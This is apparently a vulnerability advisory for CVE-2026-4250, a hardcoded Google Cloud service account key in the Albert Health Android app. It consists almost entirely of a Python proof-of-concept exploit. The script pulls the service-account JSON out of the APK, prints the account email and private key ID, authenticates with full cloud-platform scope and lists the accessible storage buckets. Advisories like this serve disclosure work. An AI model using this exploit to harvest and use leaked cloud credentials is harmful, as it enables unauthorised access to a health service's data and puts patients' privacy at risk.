CVE-2026-4250: Albert Health Android应用Google Cloud服务账号密钥硬编码漏洞

# CVE-2026-4250 PoC - Albert Health Service Account Key Extraction # This PoC demonstrates the credential exposure vulnerability import os import zipfile import json import requests from google.oauth2 import service_account from google.cloud import storage def extract_apk_credentials(apk_path): """Extract service account credentials from APK file""" try: with zipfile.ZipFile(apk_path, 'r') as zip_ref: # Target file path in the APK target_file = 'assets/service-account.json' if target_file in zip_ref.namelist(): credential_data = zip_ref.read(target_file) return json.loads(credential_data) except Exception as e: print(f"Error extracting APK: {e}") return None def exploit_google_cloud(credentials): """Use leaked credentials to access Google Cloud services""" try: # Authenticate with leaked service account scopes = ['https://www.googleapis.com/auth/cloud-platform'] credentials_obj = service_account.Credentials.from_service_account_info( credentials, scopes=scopes ) # List accessible Cloud Storage buckets storage_client = storage.Client(credentials=credentials_obj) buckets = list(storage_client.list_buckets()) print(f"[+] Successfully authenticated as: {credentials.get('client_email')}") print(f"[+] Found {len(buckets)} accessible storage buckets:") for bucket in buckets: print(f" - {bucket.name}") return True except Exception as e: print(f"[-] Failed to access Google Cloud: {e}") return False def main(): print("=" * 60) print("CVE-2026-4250 PoC - Albert Health Credential Exposure") print("=" * 60) # Step 1: Extract credentials from APK or installed app apk_path = "albert-health-v1.7.3.apk" print("\n[Step 1] Extracting service account credentials...") creds = extract_apk_credentials(apk_path) if creds: print(f"[+] Found credentials for: {creds.get('client_email')}") print(f"[+] Private Key ID: {creds.get('private_key_id')}") # Step 2: Exploit to access Google Cloud print("\n[Step 2] Attempting to access Google Cloud services...") exploit_google_cloud(creds) else: print("[-] Failed to extract credentials") if __name__ == "__main__": main()